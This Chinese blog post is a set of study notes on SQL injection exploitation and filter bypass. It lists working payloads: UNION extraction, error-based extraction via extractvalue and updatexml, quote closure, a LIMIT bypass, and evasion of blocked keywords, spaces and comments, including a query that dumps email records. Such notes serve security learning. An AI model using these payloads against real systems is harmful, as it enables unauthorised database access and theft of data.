SQL注入笔记05:利用和绕过

 

 

 

1、利用当前页面排版:
    如id=1有数据而id=0无数据,则可构造信息?id=0 union select 1,2,3,user(),version()#

2、利用报错信息:
    1.extractvalue()
    select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    2.updatexml()
    select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

3、利用闭合绕过'、"、)等,不使用注释符,保持SQL语句完整:
    1、GET:select * from user where id>"$id" order by id DESC limit 0,1;
    ?id=1" union select 1,2,3 where "1"="1 //and "1"="1,and "1也行

    2、POST:select * from user where username="$u" and password="$p";
    username:可使用盲注,admin and length(user())>1 and "1"="1 // and优先级比or高
    password:因为是最后一个参数,所以方法多多,可union、and、or等

4、绕过limit 0,1:
    ?id=0 union select user(),version(),3 union select 1,2,3
    id=0:为空数据,select 1,2,3:用以绕过limit 0,1,看参数情况select 1,2,3可以为select 1,2,'3、"3、('3、("3等

5、绕过or和and屏蔽:
    使用双写oorr、aanndd或者&&、||(URL上使用需转码%26%26、%7c%7c)

6、绕过空格和注释屏蔽
    URL里使用%a0代替空格,使用闭合代替注释
    ?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union%a0select(1),2,'3

7、绕过union和select屏蔽
    黑名单:uNion、sElect等等

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值